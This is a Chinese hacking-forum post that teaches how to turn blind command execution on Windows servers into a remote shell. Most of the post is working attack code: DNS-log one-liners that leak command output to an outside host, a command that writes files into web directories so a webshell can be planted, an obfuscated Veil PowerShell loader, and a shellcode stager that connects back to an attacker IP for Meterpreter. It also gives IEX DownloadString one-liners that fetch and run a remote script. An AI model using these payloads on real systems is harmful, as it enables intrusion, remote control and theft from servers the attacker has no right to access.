搜索
查看: 513|回复: 0

使用Powershell反弹Meterpreter Shell

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2016-6-17 14:58:18 | 显示全部楼层 |阅读模式
本帖最后由 Jumbo 于 2016-6-17 15:03 编辑

撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试:
1、使用CloudEye获取命令执行的结果
2、找Web路径写WebShell
3、下载一个MSF的Payload直接反弹
某些情况下目标直接对公网开放3389,直接加个账户用完再删...

先说第一种方法,使用CloudEye获取回显结果:
  1. for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg
复制代码

执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。
[/url]
这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。
比如我执行Dir D:\这条命令的结果就变成了这样:
  1. for /F %x in ('dir D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
复制代码

[url=http://static.wooyun.org/upload/image/201606/2016061316095884711.jpg]

好在dir有/b参数可以解决这个问题:
  1. for /F %x in ('dir /b D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
复制代码

这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果)
[/url]

第二种方法:找Web路径:
您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索:
  1. for /F %x in ('dir /s/a-d/b E:\*PopMessage.jsp') do echo 111222>%x.jsp
复制代码

这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。
同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。

第三种方法:下载MSF的Payload
请参见:[url=http://drops.wooyun.org/tips/2420]http://drops.wooyun.org/tips/2420

我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。

若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell:
Veil FrameWork已经给我们提供了足够的资源:https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter

我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件:
  1. @echo off
  2. if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")
复制代码

为了将其简化,从其中提取Powershell代码:
  1. $c = @"
  2. [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
  3. [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
  4. "@
  5. try{
  6.     $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
  7.     $s.Connect('123.222.123.125', 9527) | out-null;
  8. $p = [Array]::CreateInstance("byte", 4);
  9. $x = $s.Receive($p) | out-null;
  10. $z = 0
  11.     $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5);
  12. $y[0] = 0xBF
  13.     while ($z -lt [BitConverter]::ToInt32($p,0))
  14. {
  15.     $z += $s.Receive($y,$z+5,32,[System.Net.Sockets.SocketFlags]::None)
  16. }
  17.     for ($i=1; $i -le 4; $i++)
  18. {
  19.     $y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]
  20. }
  21.     $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;
  22. $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
  23.     [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
  24.     $t::CreateThread(0,0,$x,0,0,0) | out-null;
  25. Start-Sleep -Second 86400
  26. }
  27. catch{}
复制代码


注意上面设置反弹IP和端口的地方:
$s.Connect('反弹IP', 端口)

我把这些代码写成了一个可以远程调用的方法(rev.ps1):
  1. function rev {
  2. $c = @"
  3.     [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
  4.     [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
  5. "@
  6.     try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
  7.     $s.Connect('122.211.111.222', 9527) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
  8.     $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
  9.     while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
  10.     for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
  11.     $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
  12.     [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
  13.     $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}
  14. }
复制代码

通过远程调用,就不需要往目标服务器上上传文件了:
Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口:
x64执行:
  1. C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

复制代码

X86执行:
  1. powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"
复制代码


成功获得Meterpreter Shell:
[url=http://static.wooyun.org/upload/image/201606/2016061316395042388.jpg][/url]

使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用
  1. powershell set-executionpolicy remotesigned

  2. C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe  set-executionpolicy remotesigned
复制代码

允许Powershell的脚本执行权限。




PS:比如遇到struts2漏洞时,用工具死活传不上去webshell时,可以用文中提到的办法,可以寻找路径,然后echo写马,linux也可以使用wget远程下载,也可以利用vbs下载者下载木马上线,如果支持powershell的话,也可以利用powershell下载执行反弹。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
您可以更新记录, 让好友们知道您在做什么...
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表